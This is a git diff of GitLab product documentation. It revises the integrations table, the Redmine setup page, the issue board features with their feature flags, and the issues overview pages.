Hangouts Chat | No | -| [HipChat](hipchat.md) | Private group chat and IM | No | -| [Irker (IRC gateway)](irker.md) | Send IRC messages, on update, to a list of recipients through an Irker gateway | No | -| [Jira](jira.md) | Jira issue tracker | No | -| [Jenkins](../../../integration/jenkins.md) **(STARTER)** | An extendable open source continuous integration server | Yes | -| JetBrains TeamCity CI | A continuous integration and build server | Yes | -| [Mattermost slash commands](mattermost_slash_commands.md) | Mattermost chat and ChatOps slash commands | No | -| [Mattermost Notifications](mattermost.md) | Receive event notifications in Mattermost | No | -| [Microsoft teams](microsoft_teams.md) | Receive notifications for actions that happen on GitLab into a room on Microsoft Teams using Office 365 Connectors | No | -| Packagist | Update your projects on Packagist, the main Composer repository | Yes | -| Pipelines emails | Email the pipeline status to a list of recipients | No | -| [Slack Notifications](slack.md) | Send GitLab events (for example, an issue was created) to Slack as notifications | No | -| [Slack slash commands](slack_slash_commands.md) **(FREE SELF)** | Use slash commands in Slack to control GitLab | No | -| [GitLab Slack application](gitlab_slack_application.md) **(FREE SAAS)** | Use Slack's official application | No | -| PivotalTracker | Project Management Software (Source Commits Endpoint) | No | -| [Prometheus](prometheus.md) | Monitor the performance of your deployed apps | No | -| Pushover | Pushover makes it easy to get real-time notifications on your Android device, iPhone, iPad, and Desktop | No | -| [Redmine](redmine.md) | Redmine issue tracker | No | -| [EWM](ewm.md) | EWM work item tracker | No | -| [Unify Circuit](unify_circuit.md) | Receive events notifications in Unify Circuit | No | -| [Webex Teams](webex_teams.md) | Receive events notifications in Webex Teams | No | -| [YouTrack](youtrack.md) | YouTrack issue tracker | No | +| Service | Description | Service hooks | +| --------------------------------------------------------- | -------------------------------------------------------------------------------------------- | ---------------------- | +| [Asana](asana.md) | Add commit messages as comments to Asana tasks. | **{dotted-circle}** No | +| Assembla | Manage projects. | **{dotted-circle}** No | +| [Atlassian Bamboo CI](bamboo.md) | Run CI/CD pipelines with Atlassian Bamboo. | **{check-circle}** Yes | +| [Bugzilla](bugzilla.md) | Use Bugzilla as the issue tracker. | **{dotted-circle}** No | +| Buildkite | Run CI/CD pipelines with Buildkite. | **{check-circle}** Yes | +| Campfire | Connect to chat. | **{dotted-circle}** No | +| [Confluence Workspace](../../../api/services.md#confluence-service) | Replace the link to the internal wiki with a link to a Confluence Cloud Workspace. | **{dotted-circle}** No | +| [Custom issue tracker](custom_issue_tracker.md) | Use a custom issue tracker. | **{dotted-circle}** No | +| [Discord Notifications](discord_notifications.md) | Send notifications about project events to a Discord channel. | **{dotted-circle}** No | +| Drone CI | Run CI/CD pipelines with Drone. | **{check-circle}** Yes | +| [Emails on push](emails_on_push.md) | Send commits and diff of each push by email. | **{dotted-circle}** No | +| [EWM](ewm.md) | Use IBM Engineering Workflow Management as the issue tracker. | **{dotted-circle}** No | +| [External wiki](../wiki/index.md#link-an-external-wiki) | Link an external wiki. | **{dotted-circle}** No | +| Flowdock | Use Flowdock with GitLab. | **{dotted-circle}** No | +| [GitHub](github.md) | Obtain statuses for commits and pull requests. | **{dotted-circle}** No | +| [Hangouts Chat](hangouts_chat.md) | Receive events notifications. | **{dotted-circle}** No | +| [Irker (IRC gateway)](irker.md) | Send IRC messages. | **{dotted-circle}** No | +| [Jenkins](../../../integration/jenkins.md) | Run CI/CD pipelines with Jenkins. | **{check-circle}** Yes | +| JetBrains TeamCity CI | Run CI/CD pipelines with TeamCity. | **{check-circle}** Yes | +| [Jira](jira.md) | Use Jira as the issue tracker. | **{dotted-circle}** No | +| [Mattermost notifications](mattermost.md) | Send notifications about project events to Mattermost channels. | **{dotted-circle}** No | +| [Mattermost slash commands](mattermost_slash_commands.md) | Perform common tasks with slash commands. | **{dotted-circle}** No | +| [Microsoft Teams notifications](microsoft_teams.md) | Receive event notifications. | **{dotted-circle}** No | +| Packagist | Update your projects. | **{check-circle}** Yes | +| Pipelines emails | Send the pipeline status to a list of recipients by email. | **{dotted-circle}** No | +| PivotalTracker | Use PivotalTracker as the issue tracker. | **{dotted-circle}** No | +| [Prometheus](prometheus.md) | Monitor application metrics. | **{dotted-circle}** No | +| Pushover | Get real-time notifications on your device. | **{dotted-circle}** No | +| [Redmine](redmine.md) | Use Redmine as the issue tracker. | **{dotted-circle}** No | +| [Slack application](gitlab_slack_application.md) | Use Slack's official GitLab application. | **{dotted-circle}** No | +| [Slack notifications](slack.md) | Send notifications about project events to Slack. | **{dotted-circle}** No | +| [Slack slash commands](slack_slash_commands.md) | Enable slash commands in workspace. | **{dotted-circle}** No | +| [Unify Circuit](unify_circuit.md) | Receive events notifications. | **{dotted-circle}** No | +| [Webex Teams](webex_teams.md) | Receive events notifications. | **{dotted-circle}** No | +| [YouTrack](youtrack.md) | Use YouTrack as the issue tracker. | **{dotted-circle}** No | ## Push hooks limit @@ -74,13 +72,6 @@ supported by `push_hooks` and `tag_push_hooks` events aren't executed. The number of branches or tags supported can be changed via [`push_event_hooks_limit` application setting](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls). -## Service templates - -Service templates are a way to set predefined values for a project integration across -all new projects on the instance. - -Read more about [Service templates](services_templates.md). - ## Project integration management Project integration management lets you control integration settings across all projects @@ -89,6 +80,19 @@ instance configuration or provide custom settings. Read more about [Project integration management](../../admin_area/settings/project_integration_management.md). +### Service templates + +[Service templates](services_templates.md) were a way to set predefined values for +a project integration across all new projects on the instance. They are deprecated and +[scheduled to be removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268032) +in GitLab 14.0. + +GitLab recommends you use [project integration management](../../admin_area/settings/project_integration_management.md) +instead of service templates. GitLab versions 13.3 and later provide +[instance-level integrations](../../admin_area/settings/project_integration_management.md#project-integration-management) +you can use. +instead. + ## Troubleshooting integrations Some integrations use service hooks for integration with external applications. To confirm which ones use service hooks, see the [integrations listing](#integrations-listing) above. GitLab stores details of service hook requests made within the last 2 days. To view details of the requests, go to that integration's configuration page. diff --git a/doc/user/project/integrations/prometheus.md b/doc/user/project/integrations/prometheus.md index c307fd8d628..4922c8d9b62 100644 --- a/doc/user/project/integrations/prometheus.md +++ b/doc/user/project/integrations/prometheus.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- @@ -31,6 +31,10 @@ Once enabled, GitLab detects metrics from known services in the > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/28916) in GitLab 10.5. +**Deprecated:** Managed Prometheus on Kubernetes is deprecated, and +scheduled for removal in [GitLab +14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280). + GitLab can seamlessly deploy and manage Prometheus on a [connected Kubernetes cluster](../clusters/index.md), to help you monitor your apps. diff --git a/doc/user/project/integrations/prometheus_library/cloudwatch.md b/doc/user/project/integrations/prometheus_library/cloudwatch.md index 04abb922175..0eaa9cae7c0 100644 --- a/doc/user/project/integrations/prometheus_library/cloudwatch.md +++ b/doc/user/project/integrations/prometheus_library/cloudwatch.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/user/project/integrations/prometheus_library/haproxy.md b/doc/user/project/integrations/prometheus_library/haproxy.md index 290313ac1af..11b74c35a74 100644 --- a/doc/user/project/integrations/prometheus_library/haproxy.md +++ b/doc/user/project/integrations/prometheus_library/haproxy.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/user/project/integrations/prometheus_library/index.md b/doc/user/project/integrations/prometheus_library/index.md index 998300e255f..584c0898fec 100644 --- a/doc/user/project/integrations/prometheus_library/index.md +++ b/doc/user/project/integrations/prometheus_library/index.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/user/project/integrations/prometheus_library/kubernetes.md b/doc/user/project/integrations/prometheus_library/kubernetes.md index 2a6bc810f71..e14c1c0f6fd 100644 --- a/doc/user/project/integrations/prometheus_library/kubernetes.md +++ b/doc/user/project/integrations/prometheus_library/kubernetes.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/user/project/integrations/prometheus_library/nginx.md b/doc/user/project/integrations/prometheus_library/nginx.md index dcaef1e2ae6..3f888a89b1b 100644 --- a/doc/user/project/integrations/prometheus_library/nginx.md +++ b/doc/user/project/integrations/prometheus_library/nginx.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress.md b/doc/user/project/integrations/prometheus_library/nginx_ingress.md index f7e6b6e76d6..8846aadd420 100644 --- a/doc/user/project/integrations/prometheus_library/nginx_ingress.md +++ b/doc/user/project/integrations/prometheus_library/nginx_ingress.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md index 0c86c4921b3..4752fec976c 100644 --- a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md +++ b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md @@ -1,6 +1,6 @@ --- stage: Monitor -group: Health +group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- diff --git a/doc/user/project/integrations/redmine.md b/doc/user/project/integrations/redmine.md index 256ffe84ee2..77e6eb75b9f 100644 --- a/doc/user/project/integrations/redmine.md +++ b/doc/user/project/integrations/redmine.md @@ -4,37 +4,52 @@ group: Ecosystem info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Redmine Service **(FREE)** +# Redmine service **(FREE)** -1. To enable the Redmine integration in a project, navigate to the - [Integrations page](overview.md#accessing-integrations), click - the **Redmine** service, and fill in the required details on the page as described - in the table below. +Use [Redmine](https://www.redmine.org/) as the issue tracker. - | Field | Description | - | ----- | ----------- | - | `project_url` | The URL to the project in Redmine which is being linked to this GitLab project | - | `issues_url` | The URL to the issue in Redmine project that is linked to this GitLab project. Note that the `issues_url` requires `:id` in the URL. This ID is used by GitLab as a placeholder to replace the issue number. | - | `new_issue_url` | This is the URL to create a new issue in Redmine for the project linked to this GitLab project. **This is currently not being used and is planned be removed in a future release.** | +To enable the Redmine integration in a project: - Once you have configured and enabled Redmine, you see the Redmine link on the GitLab project pages that takes you to the appropriate Redmine project. +1. Go to the [Integrations page](overview.md#accessing-integrations). +1. Select **Redmine**. +1. Select the checkbox under **Enable integration**. +1. Fill in the required fields: - As an example, below is a configuration for a project named `gitlab-ci`. + - **Project URL**: The URL to the Redmine project to link to this GitLab project. + - **Issue URL**: The URL to the Redmine project issue to link to this GitLab project. + The URL must contain `:id`. GitLab replaces this ID with the issue number. + - **New issue URL**: The URL to use to create a new issue in the Redmine project linked to + this GitLab project. + <!-- The line below was originally added in January 2018: https://gitlab.com/gitlab-org/gitlab/-/commit/778b231f3a5dd42ebe195d4719a26bf675093350 --> + **This URL is not used and removal is planned in a future release.** + For more information, see [issue 327503](https://gitlab.com/gitlab-org/gitlab/-/issues/327503). -  +1. Select **Save changes** or optionally select **Test settings**. -1. To disable the internal issue tracking system in a project, navigate to the General page, expand the [permissions](../settings/index.md#sharing-and-permissions) section and switch the **Issues** toggle to disabled. +After you have configured and enabled Redmine, you see the Redmine link on the GitLab project pages, +which takes you to your Redmine project. -## Referencing issues in Redmine +For example, this is a configuration for a project named `gitlab-ci`: -Issues in Redmine can be referenced in two alternative ways: +- Project URL: `https://redmine.example.com/projects/gitlab-ci` +- Issue URL: `https://redmine.example.com/issues/:id` +- New issue URL: `https://redmine.example.com/projects/gitlab-ci/issues/new` -- `#<ID>` where `<ID>` is a number (example `#143`). -- `<PROJECT>-<ID>` where `<PROJECT>` starts with a capital letter which is - then followed by capital letters, numbers or underscores, and `<ID>` is - a number (example `API_32-143`). +You can also disable [GitLab internal issue tracking](../issues/index.md) in this project. +Learn more about the steps and consequences of disabling GitLab issues in +[Sharing and permissions](../settings/index.md#sharing-and-permissions). -We suggest using the longer format if you have both internal and external issue trackers enabled. If you use the shorter format and an issue with the same ID exists in the internal issue tracker, the internal issue is linked. +## Reference Redmine issues in GitLab -Please note that `<PROJECT>` part is ignored and links always point to the -address specified in `issues_url`. +You can reference your Redmine issues using: + +- `#<ID>`, where `<ID>` is a number (example `#143`). +- `<PROJECT>-<ID>`, for example `API_32-143`, where: + - `<PROJECT>` starts with a capital letter, followed by capital letters, numbers, or underscores. + - `<ID>` is a number. + +In links, the `<PROJECT>` part is ignored, and they always point to the address specified in **Issue URL**. + +We suggest using the longer format (`<PROJECT>-<ID>`) if you have both internal and external issue +trackers enabled. If you use the shorter format, and an issue with the same ID exists in the +internal issue tracker, the internal issue is linked. diff --git a/doc/user/project/integrations/services_templates.md b/doc/user/project/integrations/services_templates.md index 66810d8a01b..93ce74eb735 100644 --- a/doc/user/project/integrations/services_templates.md +++ b/doc/user/project/integrations/services_templates.md @@ -36,10 +36,11 @@ does not provide central administration of integration settings. ## Central administration of project integrations A new set of features is being introduced in GitLab to provide more control over -how integrations are configured at the instance, group, and project level. +how integrations are configured at the instance, group, and project level. For +more information, read more about: -[Read more about setting up project integration management](../../admin_area/settings/project_integration_management.md) -(introduced in GitLab 13.3) and [our plans for managing integrations](https://gitlab.com/groups/gitlab-org/-/epics/2137). +- [Setting up project integration management](../../admin_area/settings/project_integration_management.md) (introduced in GitLab 13.3) +- [Our plans for managing integrations](https://gitlab.com/groups/gitlab-org/-/epics/2137). ## Enable a service template diff --git a/doc/user/project/integrations/webhooks.md b/doc/user/project/integrations/webhooks.md index bf289c9707c..56a339e02d2 100644 --- a/doc/user/project/integrations/webhooks.md +++ b/doc/user/project/integrations/webhooks.md @@ -1297,6 +1297,7 @@ X-Gitlab-Event: Job Hook "build_name": "test", "build_stage": "test", "build_status": "created", + "build_created_at": "2021-02-23T02:41:37.886Z", "build_started_at": null, "build_finished_at": null, "build_duration": null, @@ -1310,7 +1311,6 @@ X-Gitlab-Event: Job Hook "name": "User", "email": "user@gitlab.com", "avatar_url": "http://www.gravatar.com/avatar/e32bd13e2add097461cb96824b7a829c?s=80\u0026d=identicon", - "email": "admin@example.com" }, "commit": { "id": 2366, diff --git a/doc/user/project/issue_board.md b/doc/user/project/issue_board.md index a537972dff7..5ddf98d4560 100644 --- a/doc/user/project/issue_board.md +++ b/doc/user/project/issue_board.md @@ -14,7 +14,7 @@ It can be used as a [Kanban](https://en.wikipedia.org/wiki/Kanban_(development)) It pairs issue tracking and project management, keeping everything together, so that you don't need to jump between different platforms to organize your workflow. -Issue boards build on the existing [issue tracking functionality](issues/index.md#issues-list) and +Issue boards build on the existing [issue tracking functionality](issues/index.md) and [labels](labels.md). Your issues appear as cards in vertical lists, organized by their assigned labels, [milestones](#milestone-lists), or [assignees](#assignee-lists). @@ -88,7 +88,7 @@ You can tailor GitLab issue boards to your own preferred workflow. Here are some common use cases for issue boards. For examples of using issue boards along with [epics](../group/epics/index.md), -[issue health status](issues/index.md#health-status), and +[issue health status](issues/managing_issues.md#health-status), and [scoped labels](labels.md#scoped-labels) for various Agile frameworks, check: - The [How to use GitLab for Agile portfolio planning and project management](https://about.gitlab.com/blog/2020/11/11/gitlab-for-agile-portfolio-planning-project-management/) blog post (November 2020) @@ -280,6 +280,7 @@ group-level objects are available. #### GraphQL-based sidebar for group issue boards **(PREMIUM)** <!-- When the feature flag is removed, integrate this section into the above ("Group issue boards"). --> +<!-- This anchor is linked from #blocked-issues as well. --> > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/285074) in GitLab 13.9. > - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. @@ -339,6 +340,33 @@ As in other list types, click the trash icon to remove a list.  +### Iteration lists **(PREMIUM)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250479) in GitLab 13.11. +> - [Deployed behind the `board_new_lists` and `iteration_board_lists` feature flags](../feature_flags.md), disabled by default. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57439) in GitLab 13.11. +> - Enabled on GitLab.com. +> - Recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to disable the feature flags: [`board_new_lists`](#enable-or-disable-new-add-list-form) and [`iteration_board_lists`](#enable-or-disable-iteration-lists-in-boards). **(PREMIUM SELF)** + +There can be +[risks when disabling released features](../feature_flags.md#risks-when-disabling-released-features). +Refer to this feature's version history for more details. + +You're also able to create lists of an iteration. +These are lists that filter issues by the assigned +iteration. To add an iteration list: + +1. Select **Create list**. +1. Select the **Iteration**. +1. In the dropdown, select an iteration. +1. Select **Add to board**. + +Like the milestone lists, you're able to [drag issues](#drag-issues-between-lists) +to and from a iteration list to manipulate the iteration of the dragged issues. + + + ### Group issues in swimlanes **(PREMIUM)** > - Grouping by epic [introduced](https://gitlab.com/groups/gitlab-org/-/epics/3352) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.6. @@ -407,18 +435,23 @@ To set a WIP limit for a list: ## Blocked issues -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34723) in GitLab 12.8. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34723) in GitLab 12.8. +> - [View blocking issues when hovering over blocked icon](https://gitlab.com/gitlab-org/gitlab/-/issues/210452) in GitLab 13.10. If an issue is blocked by another issue, an icon appears next to its title to indicate its blocked status. - +When you hover over the blocked icon (**{issue-block}**), a detailed information popover is displayed. + +To enable this in group issue boards, enable the [GraphQL-based sidebar](#graphql-based-sidebar-for-group-issue-boards). +The feature is enabled by default when you use group issue boards with epic swimlanes. + + ## Actions you can take on an issue board - [Create a new list](#create-a-new-list). - [Remove an existing list](#remove-a-list). -- [Add issues to a list](#add-issues-to-a-list). - [Remove an issue from a list](#remove-an-issue-from-a-list). - [Filter issues](#filter-issues) that appear across your issue board. - [Create workflows](#create-workflows). @@ -457,31 +490,19 @@ To remove a list from an issue board: 1. Select **Remove list**. A confirmation dialog appears. 1. Select **OK**. -### Add issues to a list **(FREE SELF)** +### Add issues to a list -> - Feature flag [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47898) in GitLab 13.7. -> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's recommended for production use. -> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-adding-issues-to-the-list). **(FREE SELF)** +> The **Add issues** button was [removed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57329) in GitLab 13.11. -You can add issues to a list in a project issue board by clicking the **Add issues** button -in the top right corner of the issue board. This opens up a modal -window where you can see all the issues that do not belong to any list. +If your board is scoped to one or more attributes, go to the issues you want to add and apply the +same attributes as your board scope. -Select one or more issues by clicking the cards and then click **Add issues** -to add them to the selected list. You can limit the issues you want to add to -the list by filtering by the following: +For example, to add an issue to a list scoped to the `Doing` label, in a group issue board: -- Assignee -- Author -- Epic -- Iteration ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/118742) in GitLab 13.6) -- Label -- Milestone -- My Reaction -- Release -- Weight +1. Go to an issue in the group or one of the subgroups or projects. +1. Add the `Doing` label. + +The issue should now show in the `Doing` list on your issue board. ### Remove an issue from a list @@ -542,7 +563,7 @@ worked on by the designers. Then, when they're done, all they have to do is drag it to the next list, **Backend**. Then, a backend developer can -eventually pick it up. When they’re done, they move it to **Done**, to close the +eventually pick it up. When they're done, they move it to **Done**, to close the issue. This process can be seen clearly when visiting an issue. With every move @@ -625,20 +646,43 @@ To disable it: Feature.disable(:graphql_board_lists) ``` -## Enable or disable adding issues to the list **(FREE SELF)** +### Enable or disable new add list form **(FREE SELF)** -Adding issues to the list is deployed behind a feature flag that is **disabled by default**. +The new form for adding lists is under development but ready for production use. It is +deployed behind a feature flag that is **enabled by default**. [GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can enable it. +can disable it. + +To enable it: + +```ruby +Feature.enable(:board_new_list) +``` + +To disable it: + +```ruby +Feature.disable(:board_new_list) +``` + +### Enable or disable iteration lists in boards **(PREMIUM SELF)** + +NOTE: +When disabling iteration lists in boards, you also need to disable the [new add list form](#enable-or-disable-new-add-list-form). + +The iteration list is under development but ready for production use. It is +deployed behind a feature flag that is **enabled by default**. +[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) +can disable it. To enable it: ```ruby -Feature.enable(:add_issues_button) +Feature.enable(:iteration_board_lists) ``` To disable it: ```ruby -Feature.disable(:add_issues_button) +Feature.disable(:iteration_board_lists) ``` diff --git a/doc/user/project/issues/confidential_issues.md b/doc/user/project/issues/confidential_issues.md index e1918b68ddc..25357a1db0b 100644 --- a/doc/user/project/issues/confidential_issues.md +++ b/doc/user/project/issues/confidential_issues.md @@ -19,7 +19,7 @@ You can make an issue confidential during issue creation or by editing an existing one. When you create a new issue, a checkbox right below the text area is available -to mark the issue as confidential. Check that box and hit the **Submit issue** +to mark the issue as confidential. Check that box and hit the **Create issue** button to create the issue. For existing issues, edit them, check the confidential checkbox and hit **Save changes**. diff --git a/doc/user/project/issues/crosslinking_issues.md b/doc/user/project/issues/crosslinking_issues.md index 250fa618dd8..63b38520c98 100644 --- a/doc/user/project/issues/crosslinking_issues.md +++ b/doc/user/project/issues/crosslinking_issues.md @@ -4,18 +4,21 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Crosslinking Issues +# Crosslinking issues -Please read through the [GitLab Issue Documentation](index.md) for an overview on GitLab Issues. +There are several ways to mention an issue or make issues appear in each other's +[Linked issues](related_issues.md) section. -## From Commit Messages +For more information on GitLab Issues, read the [issues documentation](index.md). + +## From commit messages Every time you mention an issue in your commit message, you're creating a relationship between the two stages of the development workflow: the issue itself and the first commit related to that issue. If the issue and the code you're committing are both in the same project, -you simply add `#xxx` to the commit message, where `xxx` is the issue number. +add `#xxx` to the commit message, where `xxx` is the issue number. If they are not in the same project, you can add the full URL to the issue (`https://gitlab.com/<username>/<projectname>/issues/<xxx>`). @@ -36,11 +39,10 @@ for tracking your process with [GitLab Value Stream Analytics](https://about.git It measures the time taken for planning the implementation of that issue, which is the time between creating an issue and making the first commit. -## From Related Issues +## From linked issues -Mentioning related issues in merge requests and other issues is useful -for your team members and collaborators to know that there are opened -issues regarding the same topic. +Mentioning linked issues in merge requests and other issues helps your team members and +collaborators know that there are opened issues regarding the same topic. You do that as explained above, when [mentioning an issue from a commit message](#from-commit-messages). @@ -50,13 +52,13 @@ display in both issues. The same is valid when mentioning issues in [merge reque  -## From Merge Requests +## From merge requests Mentioning issues in merge request comments works exactly the same way as -they do for [related issues](#from-related-issues). +they do for [linked issues](#from-linked-issues). When you mention an issue in a merge request description, it -[links the issue and merge request together](#from-related-issues). Additionally, +[links the issue and merge request together](#from-linked-issues). Additionally, you can also [set an issue to close automatically](managing_issues.md#closing-issues-automatically) as soon as the merge request is merged. diff --git a/doc/user/project/issues/csv_import.md b/doc/user/project/issues/csv_import.md index 2757642e458..de7a36a4886 100644 --- a/doc/user/project/issues/csv_import.md +++ b/doc/user/project/issues/csv_import.md @@ -52,9 +52,12 @@ When importing issues from a CSV file, it must be formatted in a certain way: - **data rows:** After the header row, succeeding rows must follow the same column order. The issue title is required while the description is optional. +If you have special characters _within_ a field, (such as `\n` or `,`), +wrap the characters in double quotes. + Sample CSV data: -```csv +```plaintext title,description My Issue Title,My Issue Description Another Title,"A description, with a comma" diff --git a/doc/user/project/issues/due_dates.md b/doc/user/project/issues/due_dates.md index 909a20f0e2f..a82823947dc 100644 --- a/doc/user/project/issues/due_dates.md +++ b/doc/user/project/issues/due_dates.md @@ -37,7 +37,7 @@ The last way to set a due date is by using [quick actions](../quick_actions.md), ## Making use of due dates -You can see issues with their due dates in the [issues list](index.md#issues-list). +You can see issues with their due dates in the issues list. Overdue issues have their icon and date colored red. To sort issues by their due dates, select **Due date** from the dropdown menu on the right. Issues are then sorted from the earliest due date to the latest. diff --git a/doc/user/project/issues/img/issue_health_status_dropdown_v12_10.png b/doc/user/project/issues/img/issue_health_status_dropdown_v12_10.png Binary files differdeleted file mode 100644 index f8517de4e12..00000000000 --- a/doc/user/project/issues/img/issue_health_status_dropdown_v12_10.png +++ /dev/null diff --git a/doc/user/project/issues/img/issues_main_view.png b/doc/user/project/issues/img/issues_main_view.png Binary files differdeleted file mode 100644 index a929916c682..00000000000 --- a/doc/user/project/issues/img/issues_main_view.png +++ /dev/null diff --git a/doc/user/project/issues/img/project_issues_list_view.png b/doc/user/project/issues/img/project_issues_list_view.png Binary files differdeleted file mode 100644 index c80bd58f5c9..00000000000 --- a/doc/user/project/issues/img/project_issues_list_view.png +++ /dev/null diff --git a/doc/user/project/issues/index.md b/doc/user/project/issues/index.md index 7c8ba4edd6b..ec0cdc116d6 100644 --- a/doc/user/project/issues/index.md +++ b/doc/user/project/issues/index.md @@ -6,209 +6,46 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Issues **(FREE)** -Issues are the fundamental mechanism in GitLab to collaborate on ideas, solve -problems, and plan work. - -Using issues, you can share and discuss proposals (both before and during their -implementation) between you and your team, and outside collaborators. +Use issues to collaborate on ideas, solve problems, and plan work. +Share and discuss proposals with your team and with outside collaborators. You can use issues for many purposes, customized to your needs and workflow. -Common use cases include: -- Discussing the implementation of a new idea. -- Tracking tasks and work status. -- Accepting feature proposals, questions, support requests, or bug reports. -- Elaborating on new code implementations. +- Discuss the implementation of an idea. +- Track tasks and work status. +- Accept feature proposals, questions, support requests, or bug reports. +- Elaborate on code implementations. -For more information about using issues, see the -[Always start a discussion with an issue](https://about.gitlab.com/blog/2016/03/03/start-with-an-issue/) -GitLab blog post. +For more information about using issues, see the GitLab blog post: +[Always start a discussion with an issue](https://about.gitlab.com/blog/2016/03/03/start-with-an-issue/). Issues are always associated with a specific project. If you have multiple -projects in a group, you can view all of the issues collectively at the group -level. +projects in a group, you can view all of the projects' issues at once. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -To learn how our Strategic Marketing department uses GitLab issues with [labels](../labels.md) and +To learn how the GitLab Strategic Marketing department uses GitLab issues with [labels](../labels.md) and [issue boards](../issue_board.md), see the video on [Managing Commitments with Issues](https://www.youtube.com/watch?v=cuIHNintg1o&t=3). -## Parts of an issue - -Issues have a flexible content and metadata structure. Here are some of the -elements you can provide in an issue: - -- Title -- Description and tasks -- Comments and other activity -- Author -- Assignees -- State (open or closed) -- Health status (on track, needs attention, or at risk) -- Confidentiality -- Tasks (completed vs. outstanding) -- Milestone -- Due date -- Weight -- Time tracking -- Labels -- Votes -- Reaction emoji -- Linked issues -- Assigned epic -- Unique issue number and URL - -## View and manage issues - -Key actions for issues include: - -- [Creating issues](managing_issues.md#create-a-new-issue) -- [Moving issues](managing_issues.md#moving-issues) -- [Closing issues](managing_issues.md#closing-issues) -- [Deleting issues](managing_issues.md#deleting-issues) -- [Promoting issues](managing_issues.md#promote-an-issue-to-an-epic) - -Although you can view and manage details of an issue on the [issue page](#issue-page), -you can also work with several issues at a time by using these features: - -- [Issues List](#issues-list): View a list of issues in a project or group. -- [Issue Boards](../issue_board.md): Organize issues with a project management - workflow for a feature or product release. -- Issue references -- [Epics](../../group/epics/index.md): Manage your portfolio of projects by - tracking groups of issues with a shared theme. - -### Issue page - - - -On an issue's page, you can view [all aspects of the issue](issue_data_and_actions.md), -and modify them if you have the necessary [permissions](../../permissions.md). - -#### Real-time sidebar **(FREE SELF)** - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17589) in GitLab 13.3. - -Assignees in the sidebar are updated in real time. This feature is **disabled by default**. -To enable it, you need to enable [ActionCable in-app mode](https://docs.gitlab.com/omnibus/settings/actioncable.html). - -### Issues List - - - -In the Issues List, you can: - -- View all issues in a project when opening the Issues List from a project context. -- View all issues in a groups's projects when opening the Issues List from a group context. - -You can filter the Issues List with a [search query](../../search/index.md#filtering-issue-and-merge-request-lists), -including specific metadata, such as labels, assignees, status, and more. From this -view, you can also make certain changes [in bulk](../bulk_editing.md) to the displayed issues. - -For more information, see the [Issue Data and Actions](issue_data_and_actions.md) page -for a rundown of all the fields and information in an issue. - -You can sort a list of issues in several ways, for example by issue creation date, milestone due date. -For more information, see the [Sorting and ordering issue lists](sorting_issue_lists.md) page. - -#### Cached issue count - -> - [Introduced]([link-to-issue](https://gitlab.com/gitlab-org/gitlab/-/issues/243753)) in GitLab 13.9. -> - It's [deployed behind a feature flag](../../feature_flags.md), disabled by default. -> - It's disabled on GitLab.com. -> - It's not recommended for production use. -> - To use this feature in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-cached-issue-count) **(FREE SELF)** - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. - -In a group, the sidebar displays the total count of open issues and this value is cached if higher -than 1000. The cached value is rounded to thousands (or millions) and updated every 24 hours. - -### Design Management - -With [Design Management](design_management.md), you can upload design -assets to 